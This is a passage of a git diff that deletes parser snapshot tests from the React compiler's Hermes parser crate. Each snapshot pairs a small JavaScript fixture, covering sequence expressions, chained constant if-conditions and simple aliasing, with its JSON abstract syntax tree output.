-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    424,
-                    425
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    426,
-                    430
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  424,
-                  430
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      431,
-                      436
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      437,
-                      438
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    431,
-                    438
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                424,
-                439
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              424,
-              440
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    474,
-                    475
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    476,
-                    480
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  474,
-                  480
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      481,
-                      486
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      487,
-                      488
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    481,
-                    488
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                474,
-                489
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              474,
-              490
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "content",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    541,
-                    548
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        558,
-                        561
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      557,
-                      562
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXText",
-                      "value": "\n      ",
-                      "raw": "\n      ",
-                      "loc": null,
-                      "range": [
-                        562,
-                        569
-                      ]
-                    },
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          570,
-                          571
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        569,
-                        572
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": "\n      ",
-                      "raw": "\n      ",
-                      "loc": null,
-                      "range": [
-                        572,
-                        579
-                      ]
-                    },
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          580,
-                          581
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        579,
-                        582
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": "\n    ",
-                      "raw": "\n    ",
-                      "loc": null,
-                      "range": [
-                        582,
-                        587
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        589,
-                        592
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      587,
-                      593
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    557,
-                    593
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  541,
-                  597
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              535,
-              598
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXFragment",
-              "openingFragment": {
-                "type": "JSXOpeningFragment",
-                "loc": null,
-                "range": [
-                  632,
-                  634
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    634,
-                    641
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "header",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      642,
-                      648
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    641,
-                    649
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    649,
-                    656
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "content",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      657,
-                      664
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    656,
-                    665
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    665,
-                    670
-                  ]
-                }
-              ],
-              "closingFragment": {
-                "type": "JSXClosingFragment",
-                "loc": null,
-                "range": [
-                  670,
-                  673
-                ]
-              },
-              "loc": null,
-              "range": [
-                632,
-                673
-              ]
-            },
-            "loc": null,
-            "range": [
-              619,
-              678
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          97,
-          680
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        77,
-        680
-      ],
-      "loc": null,
-      "range": [
-        77,
-        680
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    77,
-    680
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sequence-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sequence-expression.js.snap
deleted file mode 100644
index 4b5ae7481ed0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sequence-expression.js.snap
+++ /dev/null
@@ -1,374 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/sequence-expression.js
----
-Input:
-function sequence(props) {
-  let x = (null, Math.max(1, 2), foo());
-  while ((foo(), true)) {
-    x = (foo(), 2);
-  }
-  return x;
-}
-
-function foo() {}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "sequence",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          17
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            18,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "SequenceExpression",
-                  "expressions": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        38,
-                        42
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "Math",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            44,
-                            48
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "max",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            49,
-                            52
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          44,
-                          52
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "NumericLiteral",
-                          "value": 1.0,
-                          "loc": null,
-                          "range": [
-                            53,
-                            54
-                          ]
-                        },
-                        {
-                          "type": "NumericLiteral",
-                          "value": 2.0,
-                          "loc": null,
-                          "range": [
-                            56,
-                            57
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        44,
-                        58
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          60,
-                          63
-                        ]
-                      },
-                      "arguments": [],
-                      "loc": null,
-                      "range": [
-                        60,
-                        65
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    38,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  66
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              67
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "SequenceExpression",
-              "expressions": [
-                {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      78,
-                      81
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    78,
-                    83
-                  ]
-                },
-                {
-                  "type": "BooleanLiteral",
-                  "value": true,
-                  "loc": null,
-                  "range": [
-                    85,
-                    89
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                78,
-                89
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        98,
-                        99
-                      ]
-                    },
-                    "right": {
-                      "type": "SequenceExpression",
-                      "expressions": [
-                        {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "foo",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              103,
-                              106
-                            ]
-                          },
-                          "arguments": [],
-                          "loc": null,
-                          "range": [
-                            103,
-                            108
-                          ]
-                        },
-                        {
-                          "type": "NumericLiteral",
-                          "value": 2.0,
-                          "loc": null,
-                          "range": [
-                            110,
-                            111
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        103,
-                        111
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      98,
-                      112
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    98,
-                    113
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                92,
-                117
-              ]
-            },
-            "loc": null,
-            "range": [
-              70,
-              117
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                127,
-                128
-              ]
-            },
-            "loc": null,
-            "range": [
-              120,
-              129
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          131
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        131
-      ],
-      "loc": null,
-      "range": [
-        0,
-        131
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          142,
-          145
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          148,
-          150
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        133,
-        150
-      ],
-      "loc": null,
-      "range": [
-        133,
-        150
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    150
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sequentially-constant-progagatable-if-test-conditions.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sequentially-constant-progagatable-if-test-conditions.js.snap
deleted file mode 100644
index ede82b966000..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sequentially-constant-progagatable-if-test-conditions.js.snap
+++ /dev/null
@@ -1,767 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/sequentially-constant-progagatable-if-test-conditions.js
----
-Input:
-function Component() {
-  let a = 1;
-
-  let b;
-  if (a === 1) {
-    b = true;
-  } else {
-    b = false;
-  }
-
-  let c;
-  if (b) {
-    c = "hello";
-  } else {
-    c = null;
-  }
-
-  let d;
-  if (c === "hello") {
-    d = 42.0;
-  } else {
-    d = 42.001;
-  }
-
-  let e;
-  if (d === 42.0) {
-    e = "ok";
-  } else {
-    e = "nope";
-  }
-
-  // should constant-propagate to "ok"
-  return e;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              35
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    44
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  43,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              39,
-              45
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  52,
-                  53
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  58,
-                  59
-                ]
-              },
-              "loc": null,
-              "range": [
-                52,
-                59
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        67,
-                        68
-                      ]
-                    },
-                    "right": {
-                      "type": "BooleanLiteral",
-                      "value": true,
-                      "loc": null,
-                      "range": [
-                        71,
-                        75
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      67,
-                      75
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    76
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                61,
-                80
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        92,
-                        93
-                      ]
-                    },
-                    "right": {
-                      "type": "BooleanLiteral",
-                      "value": false,
-                      "loc": null,
-                      "range": [
-                        96,
-                        101
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      92,
-                      101
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    92,
-                    102
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                86,
-                106
-              ]
-            },
-            "loc": null,
-            "range": [
-              48,
-              106
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    114,
-                    115
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  114,
-                  115
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              110,
-              116
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                123,
-                124
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        132,
-                        133
-                      ]
-                    },
-                    "right": {
-                      "type": "StringLiteral",
-                      "value": "hello",
-                      "loc": null,
-                      "range": [
-                        136,
-                        143
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      132,
-                      143
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    132,
-                    144
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                126,
-                148
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        160,
-                        161
-                      ]
-                    },
-                    "right": {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        164,
-                        168
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      160,
-                      168
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    160,
-                    169
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                154,
-                173
-              ]
-            },
-            "loc": null,
-            "range": [
-              119,
-              173
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    181,
-                    182
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  181,
-                  182
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              177,
-              183
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  190,
-                  191
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "StringLiteral",
-                "value": "hello",
-                "loc": null,
-                "range": [
-                  196,
-                  203
-                ]
-              },
-              "loc": null,
-              "range": [
-                190,
-                203
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "d",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        211,
-                        212
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 42.0,
-                      "loc": null,
-                      "range": [
-                        215,
-                        219
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      211,
-                      219
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    211,
-                    220
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                205,
-                224
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "d",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        236,
-                        237
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 42.001,
-                      "loc": null,
-                      "range": [
-                        240,
-                        246
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      236,
-                      246
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    236,
-                    247
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                230,
-                251
-              ]
-            },
-            "loc": null,
-            "range": [
-              186,
-              251
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "e",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    259,
-                    260
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  259,
-                  260
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              255,
-              261
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "d",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  268,
-                  269
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 42.0,
-                "loc": null,
-                "range": [
-                  274,
-                  278
-                ]
-              },
-              "loc": null,
-              "range": [
-                268,
-                278
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        286,
-                        287
-                      ]
-                    },
-                    "right": {
-                      "type": "StringLiteral",
-                      "value": "ok",
-                      "loc": null,
-                      "range": [
-                        290,
-                        294
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      286,
-                      294
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    286,
-                    295
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                280,
-                299
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        311,
-                        312
-                      ]
-                    },
-                    "right": {
-                      "type": "StringLiteral",
-                      "value": "nope",
-                      "loc": null,
-                      "range": [
-                        315,
-                        321
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      311,
-                      321
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    311,
-                    322
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                305,
-                326
-              ]
-            },
-            "loc": null,
-            "range": [
-              264,
-              326
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "e",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                376,
-                377
-              ]
-            },
-            "loc": null,
-            "range": [
-              369,
-              378
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          380
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        380
-      ],
-      "loc": null,
-      "range": [
-        0,
-        380
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    380
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple-alias.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple-alias.js.snap
deleted file mode 100644
index 8e113eb3a0c9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple-alias.js.snap
+++ /dev/null
@@ -1,397 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/simple-alias.js
----
-Input:
-function mutate() {}
-function foo() {
-  let a = {};
-  let b = {};
-  let c = {};
-  a = b;
-  b = c;
-  c = a;
-  mutate(a, b);
-  return c;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "mutate",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          15
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          18,
-          20
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        20
-      ],
-      "loc": null,
-      "range": [
-        0,
-        20
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          30,
-          33
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    44,
-                    45
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    48,
-                    50
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  44,
-                  50
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              40,
-              51
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    59
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    62,
-                    64
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  58,
-                  64
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              54,
-              65
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    76,
-                    78
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  72,
-                  78
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              68,
-              79
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  82,
-                  83
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  86,
-                  87
-                ]
-              },
-              "loc": null,
-              "range": [
-                82,
-                87
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              82,
-              88
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  91,
-                  92
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  95,
-                  96
-                ]
-              },
-              "loc": null,
-              "range": [
-                91,
-                96
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              91,
-              97
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  100,
-                  101
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  104,
-                  105
-                ]
-              },
-              "loc": null,
